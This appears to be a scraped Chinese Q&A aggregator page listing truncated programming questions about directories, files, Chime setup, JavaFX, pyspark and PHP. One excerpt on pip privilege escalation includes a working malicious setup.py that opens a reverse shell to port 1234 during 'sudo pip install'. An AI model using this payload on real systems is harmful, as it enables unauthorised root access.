directory

Batch File move files base on part of their name

由 本秂侑毒 提交于 2019-12-21 23:03:54
问题 Is it possible for a bat file to search through a folder and look at the file names and only move files with that name or part of that name in it? Then move them into a specified location. For example: Parent Folder Arrow0273.text Arrow0314.text Spear083112.text Spear0832.text Sheild087.txt Sheild87.txt Move only the files with “Arrow” in their name into folder location “A”. ect... Thanks Guys! Edit: Found this but not sure if it is what I'm looking for, and to be honest, not sure how that

Amazon生产力工具Chime 手把手配置

由 倾然丶 夕夏残阳落幕 提交于 2019-12-21 22:07:18
还是从困难模式开始，不看文档直接上手干。 Chime是Amazon对标MS Lync和Cisco Jabber的企业内部instant message和多人在线会议的产品。 下载页面https://aws.amazon.com/cn/chime/download-chime/ 装上了长这样 输个163邮箱试试 换个公司邮箱 看来是要提前准备点东西，跳到控制台瞧瞧,挺个性有自己单独的控制台 弄个账号先 试着邀请个user 打开邮箱里的“接受”跳转到了这个界面，先试下网页 妹的还让我注册亚马逊账号，又骗我网购 看看其它什么可以点的，声明域名看起来很高级的样子 要写DNS纪录， 看来得先搞个域名了，某讯去一块钱买不吃亏买不了上当，注册上之后把DNS改到Route53上去，等全球同步。（别问我为什么要用Route53,黑心某讯支持个四级域名都要单独花钱，不是我那啥账号没权限注册域名，我才不用某讯云) 完整后把chime要求的DNS纪录写上去，继续等同步。Route53是global的，Chime只跑在Virginia，这个点在下面还会提到。 ➜ ~ dig _amazonchime.awssa.club TXT +short "6409b7cc-4813-4f87-ab41-697ee5c71ffd" AD这里下拉列表一直是空的，无论我建了几个不同的directory service都无用

“loadStylesheetUnPrivileged” error when trying to use css stylesheet with JavaFX

由 情到浓时终转凉″ 提交于 2019-12-21 20:39:01
问题 I've read through every article/post I can find about this error, and I've tried every solution mentioned and the error is still being produced at run time. So here's my code, and below that is the error message from the console: public class Driver extends Application { public static void main(String[] args) { launch(args); } // main @Override public void start(Stage primaryStage) { Parent root = null; File css = new File("stylesheet.css"); try { root = FXMLLoader.load(getClass().getResource

pyspark: how to show current directory?

由 吃可爱长大的小学妹 提交于 2019-12-21 20:26:56
问题 Hi I'm using pyspark interactively. I think I'm failing loading a LOCAL file correctly. how do I check current directory, so that I can go to browser to take a look at that actual file? Or is the default directory where pyspark is? Thanks 回答1: You can't load local file unless you have same file in all workers under same path. For example if you want to read data.csv file in spark, copy this file to all workers under same path(say /tmp/data.csv). Now you can use sc.textFile("file:///tmp/data

Put all images from directory into HTML [closed]

由 ≯℡__Kan透↙ 提交于 2019-12-21 20:25:12
问题 Closed. This question is off-topic. It is not currently accepting answers. Want to improve this question? Update the question so it's on-topic for Stack Overflow. Closed 4 years ago . I am creating a website with an image slider (owl carousel) and I am looking for a good method to put all the images in my HTML quickly. I hope so, that there is an alternative method to inputting images, because i have about 40 pictures and adding it manually, by hand, will be very tedious... Could you guys

iPhone/iOS How to load a lot of image in many folder and show in a table view?

由 空扰寡人 提交于 2019-12-21 20:19:26
问题 I got annoying question... What if I have many image , and I want load it in to a table view And show the file name as cell's text , and the preview image is also show in the cell. When I select the cell , it will push to next view , show the big size image. That's it . I don't know how to load many folder to an array? /*********** EDIT ***********/ This is the folder I set many images inside You can see that's only one root folder ... And this is my code to load the image inside

How to automatically generate a page after user fills a form via PHP?

由 旧时模样 提交于 2019-12-21 20:13:20
问题 Let's say I have a form with two input fields, title and comment. After the user fills the two fields and submits the data, a page is automatically created that contains the title and comment that the user typed, in a folder located in root directory, for example, www.root.com/page/ will contain the automatically generated page. Update: I'd like the form data to be sent to an SQL table row with the url of the auto-generated page to be in the same SQL row as the title and comment. How do I do

print directory like tree command

由 巧了我就是萌 提交于 2019-12-21 17:40:58
问题 I have to print a directory tree. I have the following code: public static void main(String[] args) throws Exception { File root = new File("C:\\Users\\User\\Desktop\\example"); if (!root.isDirectory()) { throw new IllegalArgumentException("Invalid directory: " + root.getName()); } int level = 0; System.out.println(renderFolder(root, level, new StringBuilder(), false)); } private static StringBuilder renderFolder(File folder, int level, StringBuilder sb, boolean isLast) { indent(sb, level,

python pip提权

由 拈花ヽ惹草 提交于 2019-12-21 14:48:50
在有些linux机器中，某个用户拥有pip的sudo权限，在这种情况下，可以利用pip install进行本地提权。 在执行pip install时会调用setup.py，可以在本地创建恶意setup.py文件来达到任意命令执行的效果。 from setuptools import setup from setuptools . command . install import install import os , socket , subprocess class CustomInstall ( install ) : def run ( self ) : install . run ( self ) s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) s . connect ( ( "127.0.0.1" , 1234 ) ) os . dup2 ( s . fileno ( ) , 0 ) os . dup2 ( s . fileno ( ) , 1 ) os . dup2 ( s . fileno ( ) , 2 ) p = subprocess . call ( [ "/bin/sh" , "-i" ] ) setup ( name = 'FakePip' , version = '0.0.1'

How to zip folder without full path

由 允我心安 提交于 2019-12-21 12:32:29
问题 firstly I don't which is the correct stackExchange site to post this question if the question is for other stack-site please remove my question. Now let talk about the question: This situation is I have a file which is located in: /home/user/public_html/folder-one/folder-two/folder-three/file.php and the file must create archive of folder /folder-one with all files and sub-folders of /folder-one . I create the archive with system function (exec(), shell_exec() or system()) and it works
订阅 directory